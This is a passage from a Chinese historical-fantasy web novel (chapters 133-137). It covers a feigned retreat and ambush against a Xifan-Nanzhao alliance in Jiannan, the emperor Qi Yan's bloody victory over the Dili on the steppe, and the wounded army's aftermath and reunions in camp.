“我日他先人……”彭鸿飞勃然大怒,气得直在屋子里转圈,官话也不说了,益州方言滔滔不绝。 虽然姜茂不是每个字都能听懂,但也能听出来,骂得很脏。 他默默又给自己续了一杯茶。 “蕃照联军十二万人!”彭鸿飞骂了一圈,终于回到两人面前,“老子就算集中整个剑南的兵力也只能拿出四万!陛下就打算见死不救?他就不怕剑南真丢了?!” “彭大人此言差矣,陛下明明是信任你,才放心将这件事交给你,”苗霜不紧不慢道,“而且,大景也的确无兵可拨了,不是陛下不想帮你,实在是爱莫能助。” “别扯这些没用的,”彭鸿飞一屁股坐下来,端起已经不烫的茶水一饮而尽,“南照马上就打来了,你就说,这事怎么办?” “大人急什么,这不是还没打来吗,”苗霜丝毫不慌,“我已传信黔州,让苗寨款首派苗民前来支援。” “你们苗民才有几个人!” “苗民虽不多,却都骁勇善战,景、照边境皆为山地,没人比我们更擅长山地作战,大人若不要,那便算了。” “……要,要,”彭鸿飞急忙缓和了语气,毕竟蚊子腿也是肉,“不知苗寨能派多少人前来支援?” 苗霜又伸出两根手指:“两千人,不能更多了,毕竟苗寨也要耕作,总不能为了打仗不吃饭吧。” 彭鸿飞眼前一黑。 这不是和没有一样吗! 他气得咬牙切齿,疯狂喝水,冷冷道:“陛下怕不是见我早有反季渊之心,怕我对他也不忠,故意在消耗我的兵力,就算我能赢下蕃照联军,也要得个惨胜,如此一来,他便能名正言顺地撤了我的职,换他的亲信顶替我。” “……大人这么说,未免以小人之心度君子之腹,”苗霜的语气也冷了下来,“陛下爱民如子,惜才如命,必不会像季渊一般卸磨杀驴,他非但不想撤你的职,还要继续任用你,毕竟大人通文韬武略,是难得之才,他还说了,若你此番得胜,他便保你一辈子荣华富贵。” 彭鸿飞将信将疑:“此话当真?” “君子一言,驷马难追,”苗霜道,“陛下既然派我来,就是要助你赢下这一仗,不但要赢,还要赢得漂亮。” 姜茂也附和道:“大巫一人可敌千军万马,陛下虽只派一人,却将手下最强的战力派给你了。” 彭鸿飞的视线在他们中间来回切换,终于,他换上严肃的表情:“还请大巫指点一二。” “把你们的布防图拿来给我看。” “这边。” 布防图就挂在墙上,彭鸿飞掀开上面罩着的布。 苗霜站在地图前,看着上面错综复杂的山脉和路线,沉思良久。 ……要是祁雁在就好了。 领兵打仗这种事,真是麻烦。 第134章 第 134 章 倒是和祁雁如出一辙…… 彭鸿飞见他半天不说话, 不禁有些心急了,嘴张开又闭上,艰难按捺住已到嘴边的催促。 许久, 苗霜才放过了那张快要被盯出洞的地图,问道:“现在西蕃和南照的军队走到哪了?” 彭鸿飞指了指地图上的某一点:“大概在此处, 据说西蕃凑齐兵力花了不少时间,南照便多等了几天, 两军汇合后才继续前进,不然还能再快点。” “他们应该会顺着这条路进入大景,”他用手指在地图上画出一条路线来,“这里有我的兵马驻扎,约七千人,怎样,可需要我加派兵力,拦住他们?” 苗霜看了看他所画的路线,应该大差不差, 附近地形过于复杂,十二万大军想要通行也不是什么容易事, 进入大景可选择的路线相当有限,若是走再北边的一条路,就得向西蕃借道,西蕃已经借兵了,自然不会允许南照大军踏进自家领土。 “不必,”他想了想道, “趁他们还没抵达,把你的人撤出来,尽快。” “……撤出来?”彭鸿飞不解, “你要我把这几个县拱手相让?” “那不然呢?剑南兵力有限,就算你把整个益州营都调过去,也才两万人,打得过十二万大军吗?如果被蕃照夹击,腹背受敌,很有可能全军覆没,到时候你就只能眼睁睁地看着他们打进大景来,束手无策。” 彭鸿飞沉默片刻:“好吧,我现在就传令让当地民众随军队一起撤离。” 苗霜:“记得,人可以走,东西别拿。” “哈?”彭鸿飞眉毛跳了跳,“就这么便宜那群龟儿子?” “舍不得孩子套不着狼,便让他们去抢,让他们看到‘大景军队闻风丧胆,丢盔弃甲仓皇而逃’,他们必定觉得大景也不过如此,放松警惕,自负轻敌。” 彭鸿飞摸了摸下巴,大概明白他的意思了:“你这是要诱敌深入?” “自然,南照不战而胜,一路高歌猛进,那西蕃派来的老弱病残便成了拖后腿的,这时你再派几个人……” “你先等等,”彭鸿飞抬手打断他,“你怎么知道西蕃派来的是老弱病残?” 苗霜有些不悦,没好气道:“陛下说的。” “陛下又是怎么知道的?” “猜的。” “猜的?”彭鸿飞震惊了,“猜测怎能作数?!” 苗霜目光阴沉地看着他。 “不过也确实有道理……”彭鸿飞略一思索,“西蕃主力都被派去了陇右,剩下来的就只有老弱病残,但凡还有成规模的军队,也不会这么久才集结完毕——你继续说。” 苗霜续上刚才的话音:“……你只需要找几个既会说南照话,又会说西蕃话的人,混入蕃照联军,挑拨离间,定能让他们心生隔阂,互相猜忌,趁机将两批人马分隔开来,逐个击破。” “大巫这话说得轻巧,我上哪找这样的人去?” “彭大人麾下人才济济,找几个人而已,很难吗?” 彭鸿飞:“……就算我真能找到,混进其中也不容易,汉人的相貌都和他们不同,不是一眼就被认出来了?” “这不是问题,”苗霜从姜茂背着的行囊里翻出几张面具,“戴上这个,便会被自动认成相识的人,大人应该见识过。” 彭鸿飞看着那些面具,回想起当时祁雁伪装成姜茂来找他,忍不住又看了姜茂一眼,确定现在这个是本尊。 “倒是……可行。” 苗霜将面具交给他,指了指地图上的某处:“这条路可走得?” “走是走得,但这是山间土路,无人修缮,大军绝难通行。” “那便对了,大军无法通行,轻敌的南照军队也不会提防从此方向来敌,待他们渡过泸水,我便带着族人从此山间土路绕到敌军后方,切断他们的补给,而你率大军在前面等着他们,如此一来,便将他们困死在山中,进退维谷。” “嘶……”彭鸿飞琢磨了一下,这个方案似乎还真的可行,不禁对他刮目相看,“别说,你还真有点军事天赋,在祁雁身边待久了,也耳濡目染?” “哈,”苗霜冷笑,“用得着他耳濡目染?这不是随便想想就知道了。” “但我看你这狡诈的用兵策略,倒是和祁雁如出一辙。” 苗霜:“……” 笑话,他堂堂魔尊,阴险狡诈浑然天成,还用跟别人学? 不过说也奇怪,泊雁仙尊光明磊落,怎么现在的这个祁雁,这么诡计多端? 彭鸿飞:“我这就把将领们都叫来,共同商议一下,若是大家都没意见,那就按你说的办。” * 鹿鸣塞。 祁雁等人已经在此驻守了快一个月,狄历果然没有再打来,当然,他们也没有出谷追击。 后方兵马已全部抵达,祁雁第一时间往几处关隘加派兵力,现在三处关口皆有七千以上兵力驻扎,军备齐全,彼此之间可随时支援。 河东给予朔方的援兵也已抵达,除了祁雁命令他们支援的骑兵,还额外提供了大批战马,大大缓解了朔方被狄历抢走马匹后战马不足的窘境。 这日,信使前来传信:“启禀陛下!范阳、河东已做好准备,随时可配合朔方出兵!” “好,”祁雁道,“告诉他们,五日之后,决战漠南。” “是!” 河东和范阳的任务是阻截狄历向东逃窜,狄历战马在草原上跑得飞快,其他兵种根本追不上,祁雁几乎调动了北部边境所有能动用的骑兵和战马,势要和狄历决一死战。 这一仗,只能胜,不能败。 信使刚走,祁雁又听到马蹄声接近,他还以为又是哪里前来传信了,一回头,却听到一个熟悉的声音:“将军!” 祁雁诧异看向来人:“赵戎?” 赵戎策马进入关塞,从马背上跳下来时,似乎牵扯到伤腿,踉跄了一下,但很快又重新站稳,快步来到祁雁跟前。 祁雁将他上下打量了一遍,内心不免惊喜:“你没事了?怎么不继续留在京都养伤?” 赵戎眼眶有些发红,又是高兴,又是难过:“杀狄人怎么能少得了我!姜茂不在,我要把他的那份一并杀回来!还有千千万万阵亡的兄弟们,我要用狄历人的血祭献他们的亡魂!” “好,好,”听着他如此慷慨激昂,祁雁沉寂了多日的心绪也跟着活了起来,但他还是有些担忧,“可你的腿……不要紧吗?” “您放心吧,将军,已经好得差不多了,大巫给的药就是不一样,往常三个月才能好,现在只要一个月!” 祁雁点点头:“距离出发还有几日时间,你一路奔波,好好休息一下。” “是。” 赵戎的到来让军营里的士气前所未有地高涨起来,所有幸存下来的雁归军都憋着一肚子火,大仇不报,誓不为人。 五日后。 大景军队在谷地集结,战鼓擂动,号角连营,祁雁一身戎装轻甲,站在高台之上,神色肃穆,俯看麾下人马万千。 将士们振臂高呼,视死如归:“扫平狄贼,不胜不归!” “扫平狄贼,不胜不归!” 军旗挥动,金龙盘舞,祁雁跨上马背:“出征!” 元兴元年,六月二十,大景天子祁雁亲率兵马出阴山,入漠南。 得知消息的狄历亦集结兵马与大景开战,景、狄大军便在广袤的漠南草原上兵戎相见,世仇碰面,分外眼红。 两军主力冲杀,十万人马短兵相接,脚下的土地都为之震颤,一时间人喧马嘶,血肉横飞,场面之惨烈让人目不忍视。 赵戎率先锋正面冲击狄历大军,以身为刃,强行刺入敌方防线牵制敌军,祁雁则率兵马从侧翼包抄,直接冲散了敌军阵型。 一时间所有人都杀红了眼,祁雁手里的长枪进退自如,鬼神莫测,他纵马疾驰,长枪连人带甲扎穿了一个敌军,从后背没入,又从身前拔|出,继而将枪杆一横,格住从身侧砍来的刀,枪身旋举,锋利的枪尖瞬间划断了敌人的喉咙,杆尾又顺势扫向身后,将一个试图偷袭的狄历人拍下马去。 长枪挥动一次便是一条人命,鲜血将他身上的铠甲都染成红色,人与马处处挂彩,已经分不清究竟是敌人的血还是自己的血。 天子本人都冲在前面,士兵们又有谁肯落后,喊杀之声撼天动地,人血和马血染红了碧色的草原,血腥之气直上云霄。 狄历人大概也从没见过如此凶悍的汉军,那汉天子竟像是杀不死般,无论怎样猛烈的攻势都不能撼动他一丝一毫,凡近身者皆被撕碎,人马俱亡。 混战让这片土地血流成河,长时间的激战过后,狄历终于势颓,调转方向,逃窜而去。 “哪里跑!”祁雁赤红着双眼,催马便追,但狄历战马跑得实在太快,一时半会儿竟追不上。 狄历残兵一路向东逃窜,等候多时的范阳河东兵马突然杀出,打了他们一个措手不及,让他们被迫向北转移。 朔方军在身后穷追不舍,祁雁将马催到了极限,在范阳兵马的拦截下,他终于再一次接近了狄历军队,敌方将领进入他的弓箭射程。 没有任何犹豫,他放下长枪,挽弓搭箭,将内力悉数汇聚于弓弦之上。 这一箭带着整个中原王朝的怒火,凝聚了八万雁归军亡魂的怨愤,破风而出,力道之大,射断了一个狄历士兵的脖子却不停,又正中那慌张逃窜的狄历主将后脑,生生刺穿了盔甲,自眉心穿出。 赵戎策马紧随而至,如离弦之箭般冲进敌军当中,长刀挥砍,径直砍下了那将领被箭矢射穿的脑袋,用刀尖高高挑起,扬声大喊:“贼将已死!乘胜追击!” 鲜血泼洒了他满身,和天边烧红的晚霞连成一线,落在这片世代纷争的草原之上,留下浓墨重彩又微不足道的一笔。 大批军马自他身边掠过,向着狄历散乱的残兵追击而去:“杀——!!” 第135章 第 135 章 大获全胜。 祁雁率兵马在塞北草原上和狄历厮杀时, 远在西南边境,苗霜正带领族人潜伏在深山之中,将南照军队的退路截了个水泄不通。 一切按照他的计划执行, 彭鸿飞主动弃了边境的两个县,制造出仓皇撤离的假象, 南照果然上当,认为大景军队也不过如此, 之前把他们打得落花流水,只不过是有祁雁在罢了,现在没了祁雁的水平才是真实水平。 反正祁雁正在塞北和狄历打仗,分身乏术,不可能顾得上他们,听说祁雁甚至没派援兵给剑南,想必是大景已经无兵可调,忙于抵挡狄历南下威胁帝都,顾不上这山重水复难入难出的蜀地了。 此时不打, 更待何时? 南照军队士气大涨,还没得胜, 先开始庆功,誓要一鼓作气杀进剑南,把那富庶蜀地据为己有。 南照精锐们高歌猛进,西蕃的军队却有些跟不上了,他们前来支援本就已经走了很长一段路,又是一些老弱病残, 哪里吃得消这般昼夜不停地赶路,不禁抱怨连连,指责南照不把他们当人看。 对此, 南照也颇有怨气,他们请求西蕃支援,还送了大批财宝,谁成想最后派来的净是一些缺胳膊少腿的散兵游勇,纵然西蕃主力都被调去攻打陇右,却也不至于拿些残兵来敷衍他们,可见西蕃根本没真心把他们当盟友,他们什么都没说已经很给面子,西蕃竟有脸反过来抱怨他们。 彭鸿飞派去的人没少在两军之间煽风点火,今天是南照人,明天换身衣服又摇身一变成了西蕃士兵,一来二去蕃照间的矛盾愈演愈烈,还没和大景交上手,自己先起了内讧。 正目中无人的南照顿时不想再伺候这些不出力还屁事多的西蕃人了,反正也是一些老弱,赶路都赶不利索还谈什么打仗,上了前线也是拖后腿,不如他们自己来。 他们怕大景势强才向西蕃求援,而今看来大景已是强弩之末,面对他们的八万精兵,剑南那点兵力定是一触即溃,既然他们自己就能搞定,凭什么还让西蕃分一杯羹? 猜忌的种子一旦种下,便一发不可收拾,很快,南照竟抛下了西蕃援军独自上路,却不知这是敌人设下的圈套。 此时此刻,这些妄自尊大的南照精锐正被困山中,直到发现后方补给被人截断,本该落荒而逃的大景军队就在前面等着他们,才反应过来自己早已落入他人彀中。 但为时晚矣。 西蕃见南照甩下自己,便也撂挑子不干,竟要打道回府,苗霜趁机带人偷袭了他们的营地,并找了几个会说南照话的人打头阵,“不小心”露出马脚,将自己伪装成“伪装成汉人的南照人”,将他们的军备粮草一抢而空,扬长而去。 西蕃士兵勃然大怒,大骂南照人不讲武德,背弃盟约还抢他们的物资,并企图嫁祸大景,定是在趁机挑唆西蕃和大景的关系,让两国打得不可开交,他们好渔翁得利,这样的人绝不可深交。 西蕃军队便这样退了兵,带着一腔怒火回了国,而困在山中的南照人还蒙在鼓里,完全不知道后方发生了什么,只暗骂西蕃残兵果然是些废物,都不要他们上前线了,居然连后方都守不好。 被困山中数日,南照军队已然断粮,他们想要突围回撤,却发现自己不停地在山中转圈,像是鬼打墙般。 人们惊骇不已,甚至搞不清楚截断他们后路的究竟有多少人,不像两千,倒像两万,一入了夜更是鬼影幢幢,漫山遍野似乎全是敌人。 苗霜带着族人悠哉悠哉地在山里扎了营,他们劫了南照物资,吃喝不愁,在这瘴气弥漫毒虫遍地的深山老林里,倒像是回了家一样自在。 忍饥挨饿了两天以后,南照终于决定拼死一搏。 一座吊桥连缀峡谷两侧,脚下就是万丈深渊,桥南边是南照军,北边是大景军,两军便这样隔桥对峙,谁先上桥,谁便是死。 南照屡次尝试突破失败,而今走投无路,还是只能上桥,等候多时的剑南将领一声令下,漫天箭矢如雨般向敌军射去。 南照军队架起盾牌,拼死抵挡,可吊桥晃晃悠悠,站都难以站稳,更别说挡箭了,不多时,桥上士兵死的死伤的伤,一不留神便摔下桥去,粉身碎骨。 凄厉的哀嚎回荡在山谷之间,苗霜带着几个身手矫健的苗民潜伏在高处,借蛊术隐匿了身形,饶有兴味地看着南照军队负隅顽抗。 先前这些南照人勾结苗寨款首,害苗寨大乱的事他可还记得,说没点私人恩怨是不可能的,他压低了声音,对身边人道:“我再给他们添把火如何?” 苗民们面面相觑,南照军队都已经这么惨了,大巫居然还要落井下石,实在是……干得漂亮。 话音刚落,附近的树木突然震颤起来,数不清的毒虫毒蛇从山间涌出,密密麻麻铺天盖地,直朝着南照军队而去,吓得士兵们惊慌失措,拼命逃窜。 后有虫潮,前有敌军,毒蛇吐信和虫群振翅声不绝于耳,闪着寒光的弓箭排列森然,许多人被虫群逼上吊桥,立刻便被射杀,或于峡谷间坠亡,一时间场面混乱无比,自诩所向披靡的南照精锐竟惨死于自己人的推搡践踏,不多时,便操着并不流利的汉话嘶声高喊:“投降!我们投降!” 白旗高举,峡谷对面的大景军队终于停止了射杀,苗霜稳住虫潮,静观其变。 “让你们的主将一个人过来!” 被毒虫叮了满头包的南照主将被迫上前,踩着不断摇晃的吊桥,在无数弓箭瞄准下颤巍巍地抵达了峡谷对岸。 姜茂猛地将他按倒在地,单手将他制服,南照主将丝毫不敢反抗,只得跪地受缚。 自此,剑南一役大获全胜,南照主将遭生擒,整支军队悉数被俘。 虫潮散去,苗霜带着族人与剑南主力汇合,便从跪地投降的南照军队面前迤迤然走过,白发赤眸的大巫似与周遭的一切格格不入,在如此紧张的气氛中依然从容不迫,蛇群环绕在他脚边,绑着红绳的脚腕从每个人的视线下经过,却让人不敢多看一眼。 这时南照人才明白,或许从他们勾结苗寨款首,得罪了这位大巫的那一天起,就注定今天这一仗会输得彻头彻尾。 * 祁雁勒住战马。 再往前就是一望无际的戈壁,杂乱的马蹄印远远向前延伸,剩下的狄历人为躲避追击,全部逃进了戈壁深处。 他喝止住还欲往前追的部下:“赵戎!” 赵戎已经杀红了眼,仿佛不知道疲倦为何物,手里的大刀砍豁了几个口,虎口撕裂,鲜血直流。 他死死盯着狄历人消失的方向,胸膛起伏不止:“我要杀光他们!” “够了!你忘了自己上次是怎么在戈壁中迷失的?你想和他们同归于尽?!” 赵戎这才慢慢冷静下来,沉重的大刀骤然脱手,直插进地面。 他们追到这里,不论人和马都已经到了极限,回头望去,数万大军而今竟只剩下一两千人,大部分人都在长途奔袭的过程中掉了队,又或被敌人所杀。 祁雁看着疲惫不堪的将士们,呼出一口气:“原地休整。” 众人如蒙大赦,接二连三跳下马背,又或是摔下马背,累得跌坐在地,甚至直接在草地上躺倒。 祁雁也有些撑不住了,心口处传来一阵阵撕裂般的疼痛,毫无疑问是剑伤又裂开了,身上其他的伤口也数不清还有多少,根本无暇理会。 忽然,座下战马一声哀鸣,四蹄开始打晃,祁雁一惊,急忙将长枪插在地上,扶着枪杆从马背上滑下。 大腿上的伤口深可见骨,他踉跄了一下才站稳,见他平安落地,战马再难支撑,倒退两步,庞大的身躯轰然倒下。 祁雁:“!” 他挣扎着扑到战马身前,威风凛凛的黑色大马此刻正气喘吁吁,它身中数箭,血流汩汩,雪白的四蹄上满是鲜血和泥土,已经分辨不出原本的模样。 为了追求速度,他所率队伍不论人马只覆轻甲,交战之中一片混乱,根本来不及顾及其他,现在才发现马身上的战甲早已被利刃砍碎,伤痕纵横其上,血都快流干了。 握了一天枪的手此刻止不住地颤抖,祁雁伸手慢慢捧住马头,用额头在它眉心轻抵,战马最后看了他一眼,仰颈长嘶,抽搐气绝。 他帮死去的战马盖上眼睛,周遭传来啜泣之声,不知是谁倒下了便再也没能站起来,是人,又或是马。 残阳将远处的戈壁映成血红,祁雁跪在战马身前,久久不语。 “……将军,”赵戎来到他身边,解下身上的水囊给他,“喝口水吧。” 祁雁一言不发,只拔开塞子,倒了一点水在战马嘴里,青草和清水落在它口中,它什么都不缺了。 他将剩下的水还给赵戎,自己却没喝一口,只撑着长枪站起身来,环顾四周:“天黑之前,找到合适的地方扎营。” 他随便牵了一匹还能行动的马,似乎是狄历人逃亡途中遗落的,便这样一瘸一拐地向前走去。 赵戎看着他的背影,又看向那匹倒地不起的战马。 他们甚至没有多余的力气掩埋自己的伙伴。 将士们休息了一会儿,睡过去的再也没起来,还能起来的也解下水囊,自己却不舍得喝,都喂给了马。 越来越多的人起身跟上祁雁,马已经跑不动了,只能牵马而行。 祁雁艰难脱下身上的甲胄,随意地弃在地上,顶着烈日征战了一天,铠甲早被晒得滚烫,浑身大汗淋漓,将伤口蜇得疼上加疼。 一望无垠的大草原上,他的感知力畅行无阻,他能够感知到风中微微潮湿的气息,前方不远应有水源。 但这个“不远”对此时的他们来说无比漫长,祁雁咬牙前行,不知走了多久,掌心的血和汗终于让他再也握不住枪,手一滑,整个人脱力地倒了下去。 视野陷入一片黑暗。 “……将军!” 第136章 第 136 章 将军不会又要死了吧?…… 祁雁一头栽倒, 赵戎被他吓了一跳,连滚带爬地冲上前去,唤道:“将军!醒醒啊!” 祁雁双目紧闭, 毫无反应。 赵戎连忙拿出自己的水囊要给他喂水,拔开塞子往祁雁嘴边送时, 却发现水囊里早已经没水了。 他拼命倒也只倒出两滴,惊慌大喊:“水……你们谁还有水?!” 众人哪里还有水, 许多人的水囊早不知在交战中丢到哪去了,刚刚喂过了马,又互相分着喝了几口,此刻已是一滴都不剩了。 有人颤抖着道:“将军他……不会又要死了吧?” “什么叫‘又’?!” 赵戎急得满头大汗,甚至动了杀马放血的念头,忽在这时,刚刚被祁雁牵着走了一路的马焦躁地刨着马蹄,它像是发现了什么,再也等不及, 小步向前方跑去。 不知是谁眼尖,指向马匹跑去的方向:“快看!” 赵戎回过头, 只见视线尽处隐约可见一线波光,似乎是一片湖。 “太好了!有水了!” 人和马都激动起来,疲惫至极的将士们又因这片湖的出现强打起精神,拖着沉重的步伐继续向前走去。 赵戎将祁雁背了起来,把他的枪和自己的刀都挂在了马鞍上,扶着马背吃力地往前走去, 过了许久,远在天边的湖泊终于到了眼前。 人和马都迫不及待地冲到湖边喝水,赵戎将祁雁放在地上, 把自己的水囊按进水中,灌满了,喂到祁雁嘴边。 许是因为他们口渴难耐,这湖水喝起来便格外清冽甘甜,被喂过水后,祁雁终于悠悠转醒。 “将军!”赵戎扶他坐起来,“您还好吧?” 祁雁艰难撑住身体,只感觉头脑昏沉,疲惫不堪,他分不清自己究竟是失血过多还是体力透支,又或二者都有。 他环顾四周,太阳已经落山,最后一抹斜晖打在湖面上,将整片湖泊映成暖色。 “就在这里休息一晚吧。”他道。 “哎。” 打了一天的仗,人们早已经饥肠辘辘,此刻便掏出随身携带的干粮,就着湖水吃了起来。 人吃饭,马吃草,一时间附近只有咀嚼之声。 祁雁强撑着站起身来,拖着伤腿走到湖边无人处,跪在地上,掬了把水洗脸。 他满身血污,浑身上下无一处不疼,自己都分不清伤口在何处,体内的蛊虫似乎受到失血过多影响,帮他治疗的速度变得十分缓慢。 他慢慢脱下衣服,清洗着身上的伤口,赵戎一抬头看向他,登时吓了一跳:“将军!” 祁雁并不知道他在大叫什么,见他近乎惊恐的表情,这才低下头看了看自己,腹部的伤口正在流血,一截箭杆还嵌在身体里。 他已经不记得自己是什么时候中的箭,现在才隐约记起,似乎是他随手将箭杆折断了,以免妨碍他作战。 但不知是他折的时候没注意,还是刚刚赵戎背他又不小心把箭杆怼得更深,总之,现在露在外面的只剩一小段木茬,貌似取不出来了。 赵戎急忙来到他跟前,愧疚道:“对不起啊将军,我刚刚没看到……” “没事。”祁雁头脑发昏,最先冒出来的念头居然是如果他不取这箭,蛊虫能不能把箭吃掉,但想想木杆或许可以,可箭镞是铁的,还是太为难虫了。 于是他将手指从伤口边缘探入,试图将箭杆抽出来,但被他这么一搅弄又流出了更多的血,又黏又滑,根本抓不住。 赵戎在旁边急得脸都红了,想帮忙又帮不上忙,只得道:“将军,要不咱先不取了,等回去以后让军医给你取!” 祁雁没答,艰难将所剩无几的内力集中于一点,强行将箭杆从身体里逼出寸许,用力攥住,猛地拔|出。 赵戎偏过头去,不忍再看。 带着倒钩的箭头被强行扯出,生生勾下一块肉来,大量鲜血从伤口中涌出,祁雁将断箭弃在地上,用力捂住伤口,不知是因疼痛还是虚弱,他面色惨白,额头冒出了冷汗。 许久他才将手掌移开,血渐渐止住了,他用水冲洗了伤口,接过赵戎递来的绷带,慢慢将伤处包扎起来。 身上的伤实在太多,绷带却也不够用了,只得包扎了最严重的几处,腹部、大腿,以及心口反复开裂的剑伤。 在附近吃饭的士兵们忍不住向这边偷看,那眼神又是担忧,又是敬畏,大概在想“将军伤成这样了还能活”“苗疆蛊术恐怖如斯”。 祁雁折腾了半天,总算处理完身上的伤口,在湖边洗净双手,赵戎忙递给他一块干粮:“将军,吃口东……” 一句话还没说完,就见祁雁身形一歪,再次昏倒在地。 赵戎:“……” * 草原上昼夜温差很大,白天热,晚上却冷,他们出来打仗,轻装从简,也没带太多东西,说是扎营,实际不过人和马依偎在一起,相互取暖。 祁雁这次一连昏迷了数个时辰,醒来时,天色已蒙蒙亮了,周遭一片安静,累极了的士兵们还在昏睡。 也不知是谁率先发现了他身边三丈之内没有蚊虫,一个两个的全往他身边凑,祁雁只感觉自己快要被挤得喘不过气,好处是有这么多人给他充当人肉暖炉,在大草原上以地为席以天为被地睡了一宿,居然没觉得冷。 他挣扎着坐起身来,发现自己手里攥着个揉得皱皱巴巴的油纸包,貌似是赵戎塞给他的,一偏头,赵戎就睡在旁边,帮他护着身上的伤,以免被其他人压到。 一天没吃东西,胃都饿得有点疼了,即便没有胃口也不能再不进食,祁雁打开水囊,就着冷水啃那块又干又硬的饼,啃了许久才吃完。 刚用水顺下最后一口,他动作便是一顿,他能感觉到通过地面传来的细微震颤——有人正骑着马往他们的方向而来,不止一人。 祁雁几乎在瞬间警觉起来,他并无法判断来的人是谁,可能是自己人,也可能是逃进戈壁又折返回来的狄历人,如果是后者,他们就相当危险了。 他立刻推开身边人起身,高声道:“都起来!” 睡得正香的众人一个激灵,虽然还不知道发生了什么,却已经本能地摸起随身携带的武器,进入备战状态。 祁雁披上衣服,拿起插在地上的枪,紧紧盯着来人的方向。 片刻,一支小队出现在视野当中,对面明显也发现了他们,勒马遥相对望。 距离太远,谁也看不清对面是什么人,祁雁尝试着感应了一下,觉得对方应该没什么敌意,可能是自己人,便扬声道:“来者何人?!” 对面的人听到了他的声音,不禁十分惊喜:“将军?是你们吗?!” “小夏?” 终于认出彼此,双方都长舒一口气,小夏将军纵马而来,停在他们跟前,喜出望外:“真是你们!我们找了你们一宿,天太黑了,到处也找不着,还以为你们追进戈壁去了呢!” 虚惊一场,还没睡饱的士兵们纷纷跌坐下来:“吓死我了,还以为狄历人又打来了……” “我若不拦着,有人就要追进戈壁了,”祁雁瞥了赵戎一眼,又把枪立在地上,“怎么样,你们那里情况如何?” 先前他派了一支小队,由夏将军带领,趁他们和狄历主力交战,往后方偷袭狄历牙帐。 “全杀了,”小夏将军眼中闪过一抹狠厉,“我们到时,他们竟在喝酒庆功,好像笃定自己会赢似的,我们一杀进去,他们方寸大乱,没过多久就被全歼了,一个都没让他们溜掉!” “干得好,”祁雁点头,“牙帐中有何人?” “除了他们的主帅,似乎还有个狄历王室,哦,附近营地还有不少战马、牛羊,我们都抢回来了。” “可有见到金孝仁?” 夏将军愣了一下,看向身后的人:“你们可有见到金孝仁?” 众人摇头:“不曾。” “不曾?”赵戎猛地上前一步,“金孝仁不在牙帐?他跑去哪儿了?!” 他恨恨一咬牙:“该死的,当时我就该追上去!就算死在戈壁里,我也要杀了他给兄弟们报仇!” “你冷静些,”祁雁道,“我们和狄历主力交战了那么久,也没看见金孝仁,以他的性子,必然不可能冲在前线厮杀,想必早已逃到了漠北,就算你追进大漠,也杀不了他。” “是啊赵戎哥,我特意留意了,真没看见姓金的,”有人附和道,“将军说得对,你追上去也杀不了金孝仁,还白白送上性命。” “可雁归军八万兄弟们,”赵戎攥紧拳头,红了眼眶,“就……这么算了?就让他这么跑了?我不甘心……我不甘心啊将军!” “……君子报仇,十年不晚,”祁雁用力按住他的肩膀,“我向你保证,总有一天我会亲手把他抓回来,活着抓回来,让他用自己的血给所有惨死的兄弟们谢罪。” 赵戎用力用袖子擦掉眼泪,别过头去。 祁雁回过头,看向前方。 一望无际的草原倒映在他眼中,似要被那深黑的眼眸吞没,那双眼依然疲倦,却有汹涌的暗潮翻搅。 终有一日,他要让这片土地,让整个漠北,让狄历王庭—— 都成为大景的一部分。 第137章 第 137 章 向苗霜告将军的状 在湖边休息了一宿, 众人恢复了些力气,又有伤员需要治疗,不能再过多停留了。 祁雁翻身上马:“走吧, 回营。” 之前的几处营地都被狄历攻破了,现在还得逐一修缮回来, 好在他们又从狄历手里抢回了不少东西,单论物资, 损失不算太大。 但人员伤亡十分可怖,他们一路走,一路找回了许多失散的士兵和战马,但更多的是尸体。 才过去一宿,许多尸体已被野兽啃食,看痕迹大约是狼群出没,他们昨日的交战血气冲天,不吸引野兽是不可能的,祁雁只能安排人尽可能掩埋尸体, 若实在来不及,便也只能便宜了这些野兽。 回到营地的众人皆是精疲力竭, 还能行动的在修理倒塌的帐篷,军医忙前忙后地给伤者治疗,祁雁让手下杀了几头从狄历人手里抢的羊来吃,又煮了一些牛乳和鱼汤给伤员,算是庆功。 才刚消停下来没多久,便听说有人求见, 他出帐一看,发现竟是陆暄。 相比战况激烈的朔方军,负责帮忙的范阳军队就清闲多了, 陆暄甚至有心情跑到他们的营地里闲逛。 “你怎么来了?”祁雁问。 “在京都都没能见面,还不准我过来看看?”陆暄环顾四周,“你们这一仗赢得还真惨烈,造反时省下来的兵,全都献祭在这儿了吧?” “……” 陆暄来到他跟前,将他从头到脚打量了一遍:“都当皇帝了,还敢亲自上阵杀敌,你胆子也是真大,看你这一身伤,啧啧,没少吸引火力吧?” 祁雁皱了皱眉:“你是专程过来说风凉话的?” “当然不是,除了来看看你,还给你送人来了。” “送什么人?” 陆暄冲远处招招手,立刻有一道小小的身影朝这边跑来,祁雁正疑惑军营里哪来的小孩,定睛一看,才认出那是谁,惊讶道:“……卢小满?” “祁哥哥!”小女孩兴高采烈地跑到他跟前,“我和爹爹都好想你!” 卢方正在营地里帮忙,此刻抽不开身,只远远地冲祁雁打了声招呼。 祁雁点了点头,看到这父女两个,他不禁一阵恍惚,仿佛回到了还在将军府的时候。 他弯腰把女孩抱了起来,对陆暄道:“你怎么还把小孩带到军营里来了?” “有何不可?你把她送到我那儿,让我教她习武,不就是培养她有朝一日能替你征战?我提前把她带进军营,让她熟悉熟悉,不好吗?” “那你也不能在交战的时候……” “上了战场就是为打仗的,提前见识一下战争的残酷,免得以后怯场。” 祁雁:“……” “祁哥哥,我不怕的,”卢小满开口道,“只是昨天看到好多死人,有点想吐……但现在已经好啦!” 祁雁叹口气,轻轻摸了摸她的脑袋,又问:“这段时间可有好好习武?” “当然!陆哥哥给我找的师父,好严格,不准我偷懒,他教我骑马,教我射箭,现在我已经射得很准了!” “好,”祁雁笑道,“小满很有天赋,和我比起来也不遑多让。” “祁哥哥,”卢小满的神情忽然变得有些担忧,“你……你是不是有心事呀?” “嗯?”祁雁微怔,“为什么这么问?” “陆哥哥跟我说,祁哥哥腿好了,我特别高兴!可是……可是今天见了祁哥哥,总觉得你还不如我高兴,而且,你好像比上次见面时更瘦了。” 祁雁沉默。 都说小孩在某些方面比大人更加敏锐,竟是真的。 他笑了笑道:“是吗,那一定是小满太久没见我了,产生的错觉。” “才不是错觉!”卢小满生气地叉起腰,“肯定是祁哥哥你没有好好吃饭,我要去和苗霜哥哥告状!” “你知道苗霜哥哥在哪里,就要去找他告状?” “我……我不知道,但我可以……” 